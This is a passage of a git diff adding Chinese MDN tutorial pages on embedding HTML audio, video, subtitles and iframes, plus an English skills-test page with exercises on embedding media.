也叫做<strong>纵横比</strong>。如果你设置的尺寸没有保持视频原始长宽比,那么视频边框将会拉伸,而未被视频内容填充的部分,将会显示默认的背景颜色。</dd> + <dt>{{htmlattrxref("autoplay","video")}}</dt> + <dd>这个属性会使音频和视频内容立即播放,即使页面的其他部分还没有加载完全。建议不要应用这个属性在你的网站上,因为用户们会比较反感自动播放的媒体文件。</dd> + <dt>{{htmlattrxref("loop","video")}}</dt> + <dd>这个属性可以让音频或者视频文件循环播放。同样不建议使用,除非有必要。</dd> + <dt>{{htmlattrxref("muted","video")}}</dt> + <dd>这个属性会导致媒体播放时,默认关闭声音。</dd> + <dt>{{htmlattrxref("poster","video")}}</dt> + <dd>这个属性指向了一个图像的URL,这个图像会在视频播放前显示。通常用于粗略的预览或者广告。</dd> + <dt>{{htmlattrxref("preload","video")}}</dt> + <dd> + <p>这个属性被用来缓冲较大的文件,有3个值可选:</p> + + <ul> + <li><code>"none"</code> :不缓冲</li> + <li><code>"auto"</code> :页面加载后缓存媒体文件</li> + <li><code>"metadata"</code> :仅缓冲文件的元数据</li> + </ul> + </dd> +</dl> + +<p>你可以点击<a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">这里</a>查看以上的例子,也可以点击<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">这里</a>查看源代码。注意我们并没有使用 autoplay 属性在这个版本的例子中 — 如果当页面一加载就开始播放视频的话,就不会看到 poster 属性的效果了。</p> + +<h3 id="<audio>_标签"><audio> 标签</h3> + +<p>{{htmlelement("audio")}} 标签与 {{htmlelement("video")}} 标签的使用方式几乎完全相同,有一些细微的差别比如下面的边框不同,一个典型的例子如下:</p> + +<pre class="brush: html notranslate"><audio controls> + <source src="viper.mp3" type="audio/mp3"> + <source src="viper.ogg" type="audio/ogg"> + <p>你的浏览器不支持 HTML5 音频,可点击<a href="viper.mp3">此链接</a>收听。</p> +</audio></pre> + +<p>这串代码将会产生如下的效果:</p> + +<p><img alt="A simple audio player with a play button, timer, volume control, and progress bar" src="https://mdn.mozillademos.org/files/12798/audio-player.png" style="display: block; height: 413px; margin: 0px auto; width: 626px;"></p> + +<div class="note"> +<p><strong>Note</strong>: 你可以点击这里<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">查看</a>以上例子,或者点击<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">这里</a>查看源代码。</p> +</div> + +<p>音频播放器所占用的空间比视频播放器要小,由于它没有视觉部件 — 你只需要显示出能控制音频播放的控件。一些与 HTML5 <code><video></code> 的差异如下:</p> + +<ul> + <li>{{htmlelement("audio")}} 标签不支持 <code>width</code>/<code>height</code> 属性 — 由于其并没有视觉部件,也就没有可以设置 <code>width</code>/<code>height</code> 的内容。</li> + <li>同时也不支持 <code>poster</code> 属性 — 同样,没有视觉部件。</li> +</ul> + +<p>除此之外,<code><audio></code> 标签支持所有 <code><video></code> 标签拥有的特性 — 你可以回顾上面的章节来了解更多的有关信息。</p> + +<h3 id="重新播放媒体">重新播放媒体</h3> + +<p>任何时候,你都可以在 Javascript 中调用 {{domxref("HTMLMediaElement.load", "load()")}} 方法来重置媒体。如果有多个由 {{HTMLElement("source")}} 标签指定的媒体来源,浏览器会从选择媒体来源开始重新加载媒体。</p> + +<pre class="brush: js notranslate">const mediaElem = document.getElementById("my-media-element"); +mediaElem.load();</pre> + +<h3 id="音轨增删事件">音轨增删事件</h3> + +<p>你可以监控媒体元素中的音频轨道,当音轨被添加或删除时,你可以通过监听相关事件来侦测到。具体来说,通过监听 {{domxref("AudioTrackList")}} 对象的 {{event("addtrack")}} 事件(即 {{domxref("HTMLMediaElement.audioTracks")}} 对象),你可以及时对音轨的增加做出响应。</p> + +<pre class="brush: js notranslate">const mediaElem = document.querySelector("video"); +mediaElem.audioTracks.onaddtrack = function(event) { + audioTrackAdded(event.track); +} +</pre> + +<p>你可以在我们的 {{domxref("TrackEvent")}} 文档中找到更多有用的信息。</p> + +<h2 id="显示音轨文本">显示音轨文本</h2> + +<p>现在,我们将讨论一个略微先进的概念,这个概念将会十分的有用。许多人不想(或者不能)听到 Web 上的音频/视频内容,至少在某些情况下是这样的,比如:</p> + +<ul> + <li>许多人患有听觉障碍(通常来说是很难听清声音的人,或者聋人),所以他们不能听见音频中的声音。</li> + <li>另外的情况可能是由于人们并不能听音频,可能是因为他们在一个非常嘈杂的环境当中(比如在一个拥挤的酒吧内恰好赶上了球赛 ),也可能是由于他们并不想打扰到其他人(比如在一个十分安静的地方,例如图书馆)。</li> + <li>有一些人他们不说音频当中的语言,所以他们听不懂,因此他们想要一个副本或者是翻译来帮助他们理解媒体内容。</li> +</ul> + +<p>给那些听不懂音频语言的人们提供一个音频内容的副本岂不是一件很棒的事情吗?所以,感谢 HTML5 <code><video></code> 使之成为可能,有了 <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> 格式,你可以使用 {{htmlelement("track")}} 标签。</p> + +<div class="note"> +<p><strong>Note</strong>: “副本”的意思是指,用文本记录下音频的内容。</p> +</div> + +<p>WebVTT 是一个格式,用来编写文本文件,这个文本文件包含了众多的字符串,这些字符串会带有一些元数据,它们可以用来描述这个字符串将会在视频中显示的时间,甚至可以用来描述这些字符串的样式以及定位信息。这些字符串叫做 <strong>cues </strong>,你可以根据不同的需求来显示不同的样式,最常见的如下:</p> + +<dl> + <dt>subtitles</dt> + <dd>通过添加翻译字幕,来帮助那些听不懂外国语言的人们理解音频当中的内容。</dd> + <dt>captions</dt> + <dd>同步翻译对白,或是描述一些有重要信息的声音,来帮助那些不能听音频的人们理解音频中的内容。</dd> + <dt>timed descriptions</dt> + <dd>将文字转换为音频,用于服务那些有视觉障碍的人。</dd> +</dl> + +<p>一个典型的 WebVTT 文件如下:</p> + +<pre class="eval line-numbers language-html notranslate"><code class="language-html">WEBVTT + +1 +00:00:22.230 --> 00:00:24.606 +第一段字幕 + +2 +00:00:30.739 --> 00:00:34.074 +第二段 + + ...</code> +</pre> + +<p>让其与 HTML 媒体一起显示,你需要做如下工作:</p> + +<ol> + <li>以 .vtt 后缀名保存文件。</li> + <li>用 {{htmlelement("track")}} 标签链接 .vtt 文件, <code><track></code> 标签需放在 <code><audio></code> 或 <code><video> 标签当中</code>,同时需要放在所有 <source> 标签之后。使用 {{htmlattrxref("kind","track")}} 属性来指明是哪一种类型,如 subtitles 、 captions 、 descriptions。然后,使用 {{htmlattrxref("srclang","track")}} 来告诉浏览器你是用什么语言来编写的 subtitles。</li> +</ol> + +<p>如下:</p> + +<pre class="brush: html notranslate"><video controls> + <source src="example.mp4" type="video/mp4"> + <source src="example.webm" type="video/webm"> + <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> +</video></pre> + +<p>上面这串代码会显示一段带有字幕的视频,如下:</p> + +<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p> + +<p>如果你想了解更多细节,你可以阅读 <a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a>。在 Github 上你可以找到与本文相关的样例,他们由 Ian Devlin 编写,点击<a href="https://iandevlin.github.io/mdn/video-player-with-captions/">这里</a>可以查看该样例,或者点击<a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">这里</a>查看源代码。这个样例使用了 JavaScript 代码,它使得用户可以选择不同的字幕。注意,若想要显示字幕,你需要点击 "CC" 按钮,并且选择一种语言 — English, Deutsch, 或 Español。</p> + +<div class="note"> +<p><strong>Note</strong>: 文本轨道会使你的网站更容易被搜索引擎抓取到 ({{glossary("SEO")}}), 由于搜索引擎的文本抓取能力非常强大,使用文本轨道甚至可以让搜索引擎通过视频的内容直接链接。</p> +</div> + +<h2 id="实践学习:在你的网站上嵌入你自己的视频或音频。">实践学习:在你的网站上嵌入你自己的视频或音频。</h2> + +<p>在这个实践学习当中,我们希望你能够走出去,并且记录一些你自己的视频或者音频 — 如今,大多数手机都能够非常方便的记录视频或者音频,并且你可以将他们上传到你的电脑上面,你可以使用这些功能来记录你的视频或音频。在这时候,你可能需要做一些格式转换,如果是视频的话,你需要将它们转化为 WebM 或者 MP4 ,如果是音频的话,你需要将它们转化为 MP3 或者 Ogg 。 不过你并不需要担心,有许多的程序都能够帮你解决这些问题,例如 <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> 和 <a href="https://sourceforge.net/projects/audacity/">Audacity</a>。我们非常希望你能够亲自动手实现它。</p> + +<p>如果你无法取得任意的音频或者视频,你可以使用我们已经为你提供的样本(<a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">sample audio and video files</a>)。同时你也可以使用我们的代码来作为参考。</p> + +<p>我们希望你能够:</p> + +<ol> + <li>将你的音频或者视频文件保存在你电脑上的一个新目录中。</li> + <li>创建一个新的 HTML 文件在相同的路径下,命名为 index.html。</li> + <li>在页面上添加 <code><audio></code> 和 <code><video></code> 标签;并使用浏览器默认的控件来显示它们。</li> + <li>在当中添加 <code><source></code> 标签,并添加 <code>type</code> 属性,以便于浏览器能够找到其能够支持的格式并加载它。</li> + <li>在 <code><video></code> 标签中添加 <code>poster</code> 属性,这会显示在视频播放之前。</li> +</ol> + +<p>另外,你可以尝试研究一下文本音轨,试着为你的视频添加一些字幕。</p> + +<h2 id="测试你的技能!">测试你的技能!</h2> + +<p>恭喜你,你已经完成了这篇教程的学习,但你是否还记得教程里最重要的内容呢?在继续之前,你可以通过一些测试来验证你是否已经掌握了这些内容,请参见<a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/Test_your_skills:_Multimedia_and_embedding">测试你的技能:内嵌多媒体</a>。需要注意倒是,这个测试中的第三个问题可能会需要一些之后讲到的技术,所以我们建议你尝试之前阅读一下<a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/其他嵌入技术">下一篇教程</a>。</p> + +<h2 id="总结">总结</h2> + +<p>我们祝愿你可以沉浸在 Web 网站的音频和视频当中,下一篇文章,我们将会学习到另外一种在 web 页面中嵌入内容的方法,比如使用 {{htmlelement("iframe")}} 或者 {{htmlelement("object")}}。</p> + +<h2 id="相关资料">相关资料</h2> + +<ul> + <li>{{htmlelement("audio")}}</li> + <li>{{htmlelement("video")}}</li> + <li>{{htmlelement("source")}}</li> + <li>{{htmlelement("track")}}</li> + <li><a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a></li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and Video delivery</a>::这里面包含了许多使用 HTML 和 JavaScript 在页面中添加音频或视频的资料。</li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation">Audio and Video manipulation</a>: 这里面包含了许多使用 JavaScript 来控制音频或视频的资料。</li> + <li>Automated options to <a href="http://www.inwhatlanguage.com/blog/translate-video-audio/">translate multimedia</a>.</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML 中的图片</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">视频和音频内容</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">从 <code><object></code> 到 <code><iframe></code>:其它嵌入技术</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">为网页添加向量图形</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图片</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla 宣传页面</a></li> +</ul> + +<dl> +</dl> + +<ul> +</ul> diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/video_and_audio_content/test_your_skills_colon__multimedia_and_embedding/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/video_and_audio_content/test_your_skills_colon__multimedia_and_embedding/index.html new file mode 100644 index 0000000000..ace192f4d3 --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/video_and_audio_content/test_your_skills_colon__multimedia_and_embedding/index.html @@ -0,0 +1,91 @@ +--- +title: 'Test your skills: Multimedia and embedding' +slug: >- + Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/Test_your_skills:_Multimedia_and_embedding +translation_of: >- + Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/Test_your_skills:_Multimedia_and_embedding +--- +<div>{{learnsidebar}}</div> + +<p>This aim of this skill test is to assess whether you've understood our <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a> and <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From object to iframe — other embedding technologies</a> articles.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a> to work on the tasks.<br> + <br> + If you get stuck, then ask us for help — see the {{anch("Assessment or further help")}} section at the bottom of this page.</p> +</div> + +<h2 id="Multimedia_and_embedding_1">Multimedia and embedding 1</h2> + +<p>In this task we want you to embed a simple audio file onto the page. You need to:</p> + +<ul> + <li>Add the path to the audio file to an appropriate attribute to embed it on the page. The audio is called <code>audio.mp3</code>, and it is in a folder inside the current folder called <code>media</code>.</li> + <li>Add an attribute to make browsers display some default controls.</li> + <li>Add some appropriate fallback text for browsers that don't support <code><audio></code>.</li> +</ul> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/tasks/media-embed/mediaembed1.html", '100%', 700)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/tasks/media-embed/mediaembed1-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Multimedia_and_embedding_2">Multimedia and embedding 2</h2> + +<p>In this task we want you to mark up a slightly more complex video player, with multiple sources, subtitles, and other features besides. You need to:</p> + +<ul> + <li>Add an attribute to make browsers display some default controls.</li> + <li>Add some appropriate fallback text for browsers that don't support <code><video></code>.</li> + <li>Add multiple sources, containing the paths to the video files. The files are called <code>video.mp4</code> and <code>video.webm</code>, and are in a folder inside the current folder called <code>media</code>.</li> + <li>Let the browser know in advance what video formats the sources point to, so it can make an informed choice of which one to download ahead of time.</li> + <li>Give the <code><video></code> a width and height equal to its intrinsic size (320 by 240 pixels).</li> + <li>Make the video muted by default.</li> + <li>Display the text tracks contained in the <code>media</code> folder, in a file called <code>subtitles_en.vtt</code>, when the video is playing. You must explicitly set the type as subtitles, and the subtitle language to English.</li> +</ul> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/tasks/media-embed/mediaembed2.html", '100%', 700)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/tasks/media-embed/mediaembed2-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Multimedia_and_embedding_3">Multimedia and embedding 3</h2> + +<p>For this final task you have two tasks to do:</p> + +<ul> + <li>Embed a PDF into the page. The PDF is called <code>mypdf.pdf</code>, and is contained in the <code>media</code> folder.</li> + <li>Go to a sharing site like YouTube or Google Maps, and embed a video or other media item into the page.</li> +</ul> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/tasks/media-embed/mediaembed3.html", '100%', 700)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/tasks/media-embed/mediaembed3-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Assessment_or_further_help">Assessment or further help</h2> + +<p>You can practice these examples in the Interactive Editors above.</p> + +<p>If you would like your work assessed, or are stuck and want to ask for help:</p> + +<ol> + <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li> + <li>Write a post asking for assessment and/or help at the <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Your post should include: + <ul> + <li>A descriptive title such as "Assessment wanted for HTML image basics 1 skill test".</li> + <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li> + <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> + <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> + </ul> + </li> +</ol> diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/其他嵌入技术/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/其他嵌入技术/index.html new file mode 100644 index 0000000000..c66ca6499e --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/其他嵌入技术/index.html @@ -0,0 +1,254 @@ +--- +title: 从对象到iframe - 其他嵌入技术 +slug: Learn/HTML/Multimedia_and_embedding/其他嵌入技术 +translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<p class="summary"><font>到目前为止,您应该掌握了将图像、视频和音频嵌入到网页上的诀窍了。此刻,让我们继续深入学习,来看一些能让您在网页中嵌入各种内容类型的元素:</font> {{htmlelement("iframe")}}, {{htmlelement("embed")}} 和{{htmlelement("object")}} 元素。<code><iframe></code><font><font>用</font></font>于嵌入其他网页,另外两个元素则允许您嵌入PDF,SVG,甚至Flash — 一种正在被淘汰的技术,但您仍然会时不时的看到它。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td><font><font>基</font></font>本的计算机知识,<a href="/zh-CN/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a>,<a href="/zh-CN/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a> 的基本知识,熟悉HTML基础知识(阅读 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a>)以及本模块中以前的文章<font><font>。</font></font></td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td><font><font>要了解如何使用<code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object" title="HTML <object>元素表示外部资源,可以将其视为图像,嵌套浏览上下文或要由插件处理的资源。"><object></a><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffe8d4;">、</span></font></code></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed" title="HTML <embed>元素表示外部应用程序或交互式内容(换句话说,插件)的集成点。"><code><embed></code></a><font><font>以及</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="HTML <iframe>元素表示嵌套的浏览上下文,有效地将另一个HTML页面嵌入到当前页面中。 在HTML 4.01中,文档可能包含一个头部和一个主体或头部和框架集,但不包括主体和框架集。 但是,一个<iframe>可以在普通文档正文中使用。 每个浏览上下文都有自己的会话历史和活动文档。 包含嵌入内容的浏览上下文称为父浏览上下文。 顶级浏览上下文(没有父级)通常是浏览器窗口。"><code><iframe></code></a><font><font>在网页中嵌入部件,例如</font></font><font><font>Flash电影或其他网页。</font></font></td> + </tr> + </tbody> +</table> + +<h2 id="嵌入的简史"><font><font>嵌入的简史</font></font></h2> + +<p><font><font>很久以前,很流行在网络上使用</font></font><strong><font><font>框架</font></font></strong><font><font>创建网站 — 网站的一小部分存储于单独的HTML页面中</font><font>。</font><font>这些被嵌入在一个称为</font></font><strong><font><font>框架集</font></font></strong><font><font>的主文档中</font><font>,它允许您指定每个框架能够填充在屏幕上的区域,非常像调整表格的列和行的大小。</font><font>这些做法在90年代中期至90年代后期被认为是比较酷的,有证据表明,将网页分解成较小的块,这样有利于下载速度 —</font></font>尤其是在那时网络连接速度太慢的情况下更为明显<font><font>。</font><font>然而,这些技术有很多问题,随着网络速度越来越快,这些技术带来的问题远超过它们带来的积极因素,所以你再也看不到它们被使用了。</font></font></p> + +<p><font><font>一小段时间之后(20世纪90年代末,21世纪初),插件技术变得非常受欢迎,例如</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/Java"><font><font>Java Applet</font></font></a><font><font>和</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/Adobe_Flash"><font><font>Flash</font></font></a><font><font> — 这些技术允许网络开发者将丰富的内容嵌入到网页中,例如视频和动画等,这些内容不能通过HTML单独实现。</font><font>嵌入这些技术是通过诸如</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object" title="HTML <object>元素表示外部资源,可以将其视为图像,嵌套浏览上下文或要由插件处理的资源。"><code><object></code></a><font><font>和较少使用</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed" title="HTML <cke:embed></cke:embed>元素表示外部应用程序或交互式内容(换句话说,插件)的集成点。"><code><embed></code></a><font><font>的</font><font>元素来实现的</font><font>,当时</font></font><font><font>它们非常有用。</font><font>由于许多问题,包括可访问性、安全性、文件大小等,它们已经过时了; </font><font>如今,大多数移动设备不再支持这些插件,桌面端也逐渐不再支持。</font></font></p> + +<p><font><font>最后,</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="HTML <iframe>元素表示嵌套的浏览上下文,有效地将另一个HTML页面嵌入到当前页面中。 在HTML 4.01中,文档可能包含一个头部和一个主体或头部和框架集,但不包括主体和框架集。 但是,一个<iframe>可以在普通文档正文中使用。 每个浏览上下文都有自己的会话历史和活动文档。 包含嵌入内容的浏览上下文称为父浏览上下文。 顶级浏览上下文(没有父级)通常是浏览器窗口。"><code><iframe></code></a><font><font>元素出现了(连同其他嵌入内容的方式,如</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas" title="使用HTML <canvas>元素与canvas脚本API来绘制图形和动画。"><code><canvas></code></a><font><font>,</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video" title="使用HTML <video>元素将视频内容嵌入到文档中。"><code><video></code></a><font><font>等),它提供了一种将整个web页嵌入到另一个网页的方法,看起来就像那个web页是另一个网页的一个</font></font>{{htmlelement("img")}}或其他元素一样。{{htmlelement("iframe")}}现在经常被使用<font><font>。</font></font></p> + +<p><font><font>了解完历史之后,让我们继续往下看以了解如何使用它们。</font></font></p> + +<h2 id="自主学习:嵌入类型的使用"><font><font>自主学习:嵌入类型的使用</font></font></h2> + +<p><font><font>在这篇文章中,我们将直接进入自主学习部分,让你立即体会到嵌入技术的实用性。大家都非常熟悉</font></font><a href="https://www.youtube.com/"><font><font>Youtube</font></font></a><font><font>,但很多人不了解它所提供的一些分享功能。让我们来看看Youtube如何让我们通过</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="HTML <iframe>元素表示嵌套的浏览上下文,有效地将另一个HTML页面嵌入到当前页面中。 在HTML 4.01中,文档可能包含一个头部和一个主体或头部和框架集,但不包括主体和框架集。 但是,一个<iframe>可以在普通文档正文中使用。 每个浏览上下文都有自己的会话历史和活动文档。 包含嵌入内容的浏览上下文称为父浏览上下文。 顶级浏览上下文(没有父级)通常是浏览器窗口。"><code><iframe></code></a><font><font>在页面中嵌入喜欢的视频</font></font><font><font>。</font></font></p> + +<ol> + <li><font><font>首先,去Youtube找一个喜欢的视频。</font></font></li> + <li><font><font>在视频下方,您会看到一个</font></font><em><font><font>共享</font></font></em><font><font>按钮 - 点击查看共享选项。</font></font></li> + <li><font><font>选择“ </font></font><em><font><font>嵌入”</font></font></em><font><font>选项卡,您将得到一些</font></font><code><iframe></code><font><font>代码 - 复制一下。</font></font></li> + <li><font><font>粘贴到</font><font>下面</font><font>的</font></font><em><font><font>输入</font></font></em><font><font>框里,看看</font></font><em><font><font>输出</font></font></em><font><font>结果是什么</font><font>。</font></font></li> +</ol> + +<p><font><font>此外,您还可以试试</font><font>在示例中</font><font>嵌入</font></font><a href="https://www.google.com/maps/"><font><font>Google地图</font></font></a><font><font>:</font></font></p> + +<ol> + <li><font><font>去Google地图找一个喜欢的地图。</font></font></li> + <li><font><font>点击UI左上角的“汉堡菜单”(三条水平线)。</font></font></li> + <li><font><font>选择</font></font><em><font><font>共享或嵌入地图</font></font></em><font><font>选项。</font></font></li> + <li><font><font>选择嵌入地图选项,这将给你一些</font></font><code><iframe></code><font><font>代码 - 复制一下。</font></font></li> + <li><font><font>粘贴到下面</font><font>的</font></font><em><font><font>输入</font></font></em><font><font>框,看看</font></font><em><font><font>输出</font></font></em><font><font>结果是什么</font><font>。</font></font></li> +</ol> + +<p>如果你犯了某些错误,你可以点击<em>Reset按钮以重置编辑器。</em>如果你确实被卡住了, 按下Show <em>solution按钮以借鉴答案。</em></p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <style> body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } h2 { font-size: 16px; } code, textarea { font-family: Consolas, Menlo, monospace; } .output { min-height: 200px; } .input { min-height: 100px; width: 95%; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } .controls { width: 96%; text-align: right; } </style> </head> <body> <h2>实时输出</h2> <div class="output"></div> <h2>可编辑代码</h2> <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> <textarea id="code" class="input"></textarea> <div class="controls"> <button id="btn-reset">重置</button> <button id="btn-solution">显示答案</button> </div> <script> const btnReset = document.getElementById('btn-reset'); const btnSolution = document.getElementById('btn-solution'); const blockOutput = document.querySelector('.output'); const blockInput = document.querySelector('.input'); const original = '<p>改革春风吹满地</p>'; const answer = `<iframe src="https://player.bilibili.com/player.html?aid=19390801&cid=31621681&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe> <p>改革春风吹满地</p>`; let userEntry = ""; init(); btnReset.addEventListener('click', init); btnSolution.addEventListener('click', () => { if (btnSolution.textContent === '显示答案') { blockInput.value = blockOutput.innerHTML = answer; btnSolution.textContent = '隐藏答案'; } else { blockInput.value = blockOutput.innerHTML = userEntry; btnSolution.textContent = '显示答案'; } }); blockInput.addEventListener('keydown', (e) => { switch (e.key) { case 'Tab': e.preventDefault(); insertAtCursor('\t'); break; case "Escape": blockInput.blur(); break; } }); blockInput.addEventListener('keyup', () => { userEntry = blockInput.value; blockOutput.innerHTML = blockInput.value; if (btnSolution.textContent === '隐藏答案') { btnSolution.textContent = '显示答案'; } }); function init() { userEntry = blockOutput.innerHTML = blockInput.value = original; btnSolution.textContent = '显示答案'; } function insertAtCursor(text) { const scrollPos = blockInput.scrollTop; const cursorPos = blockInput.selectionStart; const front = blockInput.value.substring(0, cursorPos); const back = blockInput.value.substring( blockInput.selectionEnd, blockInput.value.length); blockInput.value = front + text + back; blockInput.selectionStart = blockInput.selectionEnd = cursorPos + text.length; blockInput.focus(); blockInput.scrollTop = scrollPos; } </script> </body> </html></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 600, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Iframe详解"><font><font>Iframe详解</font></font></h2> + +<p><font><font>是不是很简单又有趣呢?</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="HTML <iframe>元素表示嵌套的浏览上下文,有效地将另一个HTML页面嵌入到当前页面中。 在HTML 4.01中,文档可能包含一个头部和一个主体或头部和框架集,但不包括主体和框架集。 但是,一个<iframe>可以在普通文档正文中使用。 每个浏览上下文都有自己的会话历史和活动文档。 包含嵌入内容的浏览上下文称为父浏览上下文。 顶级浏览上下文(没有父级)通常是浏览器窗口。"><code><iframe></code></a><font><font>元素旨在允许您将其他Web文档嵌入到当前文档中。</font><font>这很适合将第三方内容嵌入您的网站,您可能无法直接控制,也不希望实现自己的版本 - 例如来自在线视频提供商的视频,</font></font><a href="https://disqus.com/"><font><font>Disqus</font></font></a><font><font>等评论系统</font><font>,在线地图提供商,广告横幅等。您通过本课程使用的实时可编辑示例就是使用</font></font><code><iframe></code><font><font> </font><font>实现的</font><font>。</font></font></p> + +<p><font><font>我</font></font><font><font>们会在后面提到,关于</font></font><code><iframe></code><font><font>有一些严重的</font></font>{{anch("安全隐患")}}<font><font>需要考虑</font></font><font><font>,但这并不意味着你不应该在你的网站上使用它们 — 